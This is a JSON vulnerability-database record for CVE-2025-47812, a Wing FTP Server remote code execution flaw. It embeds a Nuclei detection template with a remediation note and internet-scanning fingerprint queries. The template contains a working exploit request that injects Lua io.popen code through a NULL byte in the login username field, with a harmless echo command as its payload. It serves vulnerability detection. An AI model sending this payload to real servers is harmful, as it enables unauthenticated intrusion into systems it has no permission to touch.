{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-47812/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-47812/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-47812/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-47812/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-47812/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-47812"},"sightings":{"href":"/api/v1/sightings/cve-2025-47812"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-47812.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-47812\n\ninfo:\n  name: Wing FTP Server <= 7.4.3 - Remote Code Execution\n  author: rcesecurity,4m3rr0r\n  severity: critical\n  description: |\n    Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).\n    The vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection\n    into session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting\n    in arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.\n  impact: |\n    Unauthenticated attackers can inject and execute Lua code through NULL byte handling in the username parameter when anonymous login is enabled, achieving remote code execution with elevated privileges.\n  remediation: |\n    Upgrade Wing FTP Server to version 7.4.4 or later that properly handles NULL bytes in authentication parameters.\n  reference:\n    - https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/\n    - https://github.com/4m3rr0r/CVE-2025-47812-poc\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-47812\n    epss-score: 0.92862\n    epss-percentile: 0.99826\n  metadata:\n    verified: true\n    product: wftpserver\n    vendor: wing_ftp_server\n    shodan-query:\n      - http.html_hash:2121146066\n      - http.favicon.hash:963565804\n      - title:\"Wing FTP Server\"\n      - \"Server: Wing FTP Server\"\n    fofa-query:\n      - icon_hash=\"963565804\"\n      - title=\"Wing FTP Server\"\n      - \"Server: Wing FTP Server\"\n    zoomeye-query:\n      - app=\"Wing FTP Server\"\n  tags: cve,cve2025,rce,wingftp,ftp,unauth,kev,vkev,vuln\n\nvariables:\n  cmd: \"echo CVE-2025-47812\"\n\nhttp:\n  - raw:\n      - |\n        POST /loginok.html HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username=anonymous%00]]%0dlocal+h+%3d+io.popen(\"{{cmd}}\")%0dlocal+r+%3d+h%3aread(\"*a\")%0dh%3aclose()%0dprint(r)%0d--&password=\n\n  - raw:\n      - |\n        GET /dir.html HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(to_lower(body), \"cve-2025-47812\")'\n        condition: and\n# digest: 4a0a0047304502203e67aeb7a4051d649f47d53f7e788d4d65deacf783c4aa62b38bf01de175eb48022100fdacf3d281248aa860387c1c38af11f7ccb3178c5335cc4e3b415e8603cec280:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-47812"}